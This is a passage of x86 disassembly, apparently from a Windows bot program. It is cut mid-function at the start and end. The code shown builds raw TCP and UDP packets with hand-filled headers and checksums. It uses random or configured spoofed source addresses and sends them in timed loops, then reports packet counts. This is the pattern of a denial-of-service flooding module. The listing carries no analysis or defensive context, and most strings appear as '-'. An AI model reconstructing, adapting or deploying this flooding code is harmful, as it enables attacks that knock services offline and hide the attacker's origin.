		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_41417E:				; CODE XREF: sub_413E36+2EAj
					; sub_413E36+30Aj ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4CB654	; htons
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+Src], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4CB654	; htons
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_80]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_18]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_8C]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+var_78]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4CB6B8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41426B
		inc	[ebp+arg_0]
		jmp	loc_414025
; ---------------------------------------------------------------------------


loc_41426B:				; CODE XREF: sub_413E36+42Bj
		push	[ebp+var_4]
		call	dword_4CB6EC	; closesocket
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset asc_4364CC ; "-"
		lea	eax, [ebp+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_4142C9
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409A73
		add	esp, 14h


loc_4142C9:				; CODE XREF: sub_413E36+46Ej
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_BC]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread


loc_4142E9:				; CODE XREF: sub_413E36+203j
		push	[ebp+var_4]
		call	dword_4CB6EC	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_43647C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_41435A
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_AC]	; int
		push	eax		; int
		lea	eax, [ebp+var_13C]
		push	eax		; Str
		push	[ebp+var_240]	; int
		call	sub_409A73
		add	esp, 14h


loc_41435A:				; CODE XREF: sub_413E36+4FFj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_BC]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_4270CC	; ExitThread
sub_413E36	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41437A	proc near		; CODE XREF: sub_414484+19Ap
					; sub_414484+1A9p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_4143A6
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414398:				; CODE XREF: sub_41437A+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414398
		pop	edi
		cmp	eax, 1


loc_4143A6:				; CODE XREF: sub_41437A+12j
		jnz	short loc_4143B3
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_4143B3:				; CODE XREF: sub_41437A:loc_4143A6j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_41437A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143CC	proc near		; DATA XREF: sub_401ACD+6D4Ao

Dest		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CB694	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_414484
		add	esp, 19Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4365A8 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414467
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_194]	; int
		call	sub_409A73
		add	esp, 14h


loc_414467:				; CODE XREF: sub_4143CC+79j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_10]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
sub_4143CC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414484	proc near		; CODE XREF: sub_4143CC+54p

Dest		= byte ptr -0CCh
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_A3		= byte ptr -0A3h
var_A2		= word ptr -0A2h
Src		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_68		= byte ptr -68h
var_64		= byte ptr -64h
var_63		= byte ptr -63h
var_62		= byte ptr -62h
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_52		= word ptr -52h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= word ptr -40h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
Dst		= byte ptr -28h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, ds:dword_4270A8
		xor	ebx, ebx
		push	edi
		mov	[ebp+var_4], ebx
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_10], eax
		call	dword_4CB6D4	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		mov	edi, 578h
		push	edi		; Size
		push	9
		push	1
		call	sub_418685
		pop	ecx
		pop	ecx
		push	eax		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	esi, 5A0h


loc_4144DE:				; CODE XREF: sub_414484+235j
		call	ds:dword_4270A8	; GetTickCount
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_4146BE
		cmp	dword_4CEE08, ebx
		jnz	short loc_41455D
		push	10h
		pop	eax
		mov	[ebp+var_14], eax
		push	eax		; Size
		lea	eax, [ebp+var_68]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5F8	; getsockname
		push	0FFh
		push	1
		call	sub_418685
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_62]
		push	eax
		movzx	eax, [ebp+var_63]
		push	eax
		movzx	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_414570
; ---------------------------------------------------------------------------


loc_41455D:				; CODE XREF: sub_414484+7Ej
		lea	eax, [ebp+Dest]
		push	offset byte_4CE7E8 ; Source
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		pop	ecx


loc_414570:				; CODE XREF: sub_414484+D7j
		lea	eax, [ebp+Dest]
		push	eax
		call	dword_4CB694	; inet_addr
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_58]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_54], 10h
		mov	[ebp+var_58], eax
		call	dword_4CB654	; htons
		mov	[ebp+var_52], ax
		call	_rand
		mov	[ebp+var_50], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_48], eax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4E], 40h
		mov	[ebp+var_4C], 40h
		mov	[ebp+var_4B], 6
		mov	[ebp+var_4A], bx
		mov	[ebp+var_44], eax
		call	_rand
		mov	[ebp+var_40], ax
		call	_rand
		mov	[ebp+var_3E], ax
		call	_rand
		mov	[ebp+var_3C], eax
		call	_rand
		mov	[ebp+var_38], eax
		mov	eax, [ebp+var_34]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp+var_34+2], 18h
		mov	word ptr [ebp+var_34], ax
		mov	ax, [ebp+var_3E]
		mov	[ebp+var_76], ax
		mov	eax, [ebp+var_44]
		mov	[ebp+var_74], eax
		lea	eax, [ebp+var_58]
		push	eax
		mov	[ebp+var_30], 787Dh
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], bx
		mov	[ebp+var_78], 2
		call	sub_41437A
		mov	[ebp+var_4A], ax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		call	sub_41437A
		mov	eax, [ebp+var_48]
		add	esp, 10h
		mov	[ebp+var_AC], eax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], bl
		mov	[ebp+var_A3], 6
		call	ds:dword_427210	; htons
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_40]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_8C]
		push	edi		; Size
		push	eax		; Src
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_AC]
		push	598h
		push	eax
		call	sub_41437A
		add	esp, 20h
		mov	[ebp+var_2E], ax
		push	10h
		lea	eax, [ebp+var_78]
		push	eax
		push	ebx
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_4CB6B8	; sendto
		inc	[ebp+var_4]
		jmp	loc_4144DE
; ---------------------------------------------------------------------------


loc_4146BE:				; CODE XREF: sub_414484+72j
		push	[ebp+var_8]
		call	dword_4CB6EC	; closesocket
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414484	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4146CF	proc near		; DATA XREF: sub_401ACD+4CC0o

Dest		= byte ptr -414h
var_214		= byte ptr -214h
var_10		= dword	ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+arg_0]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp+var_214]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp+var_214]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_414746
		add	esp, 214h
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4365DC ; "-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_10]
		call	sub_40B413
		add	esp, 14h
		push	0
		call	ds:dword_4270CC	; ExitThread
sub_4146CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_414746(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_414746	proc near		; CODE XREF: sub_4146CF+3Bp

Dest		= byte ptr -254h
var_54		= byte ptr -54h
Dst		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
Str		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	dword_4CB6D4	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_414784
		lea	eax, [ebp+Dest]
		push	offset asc_4367CC ; "-"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_414A4D
; ---------------------------------------------------------------------------


loc_414784:				; CODE XREF: sub_414746+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	dword_4CB634	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4147B0
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		push	offset unk_43677C
		jmp	short loc_4147CB
; ---------------------------------------------------------------------------


loc_4147B0:				; CODE XREF: sub_414746+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4CB694	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4147DF
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		push	offset asc_436738 ; "-"


loc_4147CB:				; CODE XREF: sub_414746+68j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_414A4D
; ---------------------------------------------------------------------------


loc_4147DF:				; CODE XREF: sub_414746+77j
		push	edi
		mov	[ebp+var_24], 2
		call	dword_4CB654	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_42720C	; inet_addr
		mov	esi, ds:dword_4270A8
		mov	[ebp+var_20], eax
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_43670C ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_414848
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_208]	; int
		push	eax		; int
		lea	eax, [ebp+arg_184]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_414848:				; CODE XREF: sub_414746+E0j
		mov	[ebp+var_4], edi
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		cmp	esi, eax
		pop	ecx
		ja	loc_414A03
		mov	esi, 41Ch
		jmp	short loc_41487C
; ---------------------------------------------------------------------------


loc_414877:				; CODE XREF: sub_414746+2B7j
		mov	ebx, 0FFh


loc_41487C:				; CODE XREF: sub_414746+12Fj
		cmp	dword_4CEE08, edi
		jnz	short loc_4148D6
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5F8	; getsockname
		push	ebx
		push	1
		call	sub_418685
		pop	ecx
		pop	ecx
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	short loc_4148E6
; ---------------------------------------------------------------------------


loc_4148D6:				; CODE XREF: sub_414746+13Cj
		lea	eax, [ebp+var_54]
		push	offset byte_4CE7E8 ; Source
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		pop	ecx


loc_4148E6:				; CODE XREF: sub_414746+18Ej
		push	esi
		mov	byte_4CE9E8, 45h
		call	dword_4CB654	; htons
		mov	word_4CE9EA, ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	word_4CE9EC, 1
		mov	word_4CE9EE, di
		mov	byte_4CE9F0, 80h
		mov	byte_4CE9F1, 11h
		mov	word_4CE9F2, di
		call	dword_4CB694	; inet_addr
		mov	dword_4CE9F4, eax
		mov	eax, [ebp+var_20]
		mov	dword_4CE9F8, eax
		lea	eax, [ebp+arg_84]
		push	eax		; Str
		mov	word_4CEA02, di
		call	_atoi
		test	eax, eax
		pop	ecx
		jnz	short loc_41495E
		call	_rand
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_41496C
; ---------------------------------------------------------------------------


loc_41495E:				; CODE XREF: sub_414746+206j
		lea	eax, [ebp+arg_84]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax


loc_41496C:				; CODE XREF: sub_414746+216j
		call	dword_4CB654	; htons
		mov	word_4CE9FE, ax
		call	_rand
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	word_4CE9FC, dx
		call	dword_4CB654	; htons
		push	400h		; Size
		mov	word_4CEA00, ax
		call	_rand
		cdq
		idiv	ebx
		push	edx		; Val
		push	offset dword_4CEA04 ; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4CE9E8
		push	[ebp+var_C]
		call	dword_4CB6B8	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_414A7C
		inc	[ebp+var_4]
		call	ds:dword_4270A8	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		cmp	ebx, eax
		pop	ecx
		jbe	loc_414877


loc_414A03:				; CODE XREF: sub_414746+124j
		push	[ebp+var_C]
		call	dword_4CB6EC	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+Str]
		push	eax		; Str
		imul	esi, 41Ch
		call	_atoi
		pop	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset asc_4366A8 ; "-"


loc_414A3E:				; CODE XREF: sub_414746+34Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h


loc_414A4D:				; CODE XREF: sub_414746+39j
					; sub_414746+94j
		cmp	[ebp+arg_20C], edi
		jnz	short loc_414A75
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_208]	; int
		push	eax		; int
		lea	eax, [ebp+arg_184]
		push	eax		; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 14h


loc_414A75:				; CODE XREF: sub_414746+30Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414A7C:				; CODE XREF: sub_414746+28Bj
		push	[ebp+var_4]
		push	esi
		call	dword_4CB5E8	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset unk_43661C
		jmp	short loc_414A3E
sub_414746	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A92	proc near		; DATA XREF: sub_401ACD+6362o

Dest		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
Str		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax		; Str
		call	_atoi
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4CB694	; inet_addr
		push	eax
		call	sub_414C2F
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+Dest]
		push	offset asc_4367F8 ; "-"
		push	eax		; Dest
		call	_sprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_414B27
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_C]	; int
		push	eax		; int
		lea	eax, [ebp+var_90]
		push	eax		; Str
		push	[ebp+var_214]	; int
		call	sub_409A73
		add	esp, 14h


loc_414B27:				; CODE XREF: sub_414A92+73j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_10]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_414A92	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B46	proc near		; CODE XREF: sub_414C2F+194p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_414B6F
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_427214	; connect
		jmp	loc_414C2B
; ---------------------------------------------------------------------------


loc_414B6F:				; CODE XREF: sub_414B46+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	ds:dword_4271F8	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB5FC	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4CB63C	; select
		test	eax, eax
		jnz	short loc_414BD3
		or	eax, 0FFFFFFFFh
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BD3:				; CODE XREF: sub_414B46+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_414BDE


loc_414BDA:				; CODE XREF: sub_414B46+B8j
					; sub_414B46+DCj
		mov	eax, edi
		jmp	short loc_414C2B
; ---------------------------------------------------------------------------


loc_414BDE:				; CODE XREF: sub_414B46+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426756	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_414C00
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_426756	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_414BDA


loc_414C00:				; CODE XREF: sub_414B46+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	ds:dword_4271E0	; getsockopt
		cmp	eax, edi
		jz	short loc_414BDA
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_414C2B:				; CODE XREF: sub_414B46+24j
					; sub_414B46+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_414B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C2F	proc near		; CODE XREF: sub_414A92+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	eax
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], eax
		call	ds:dword_427208	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4CEE78, eax
		call	dword_4CB634	; setsockopt
		mov	esi, ds:dword_4270A8
		call	esi	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
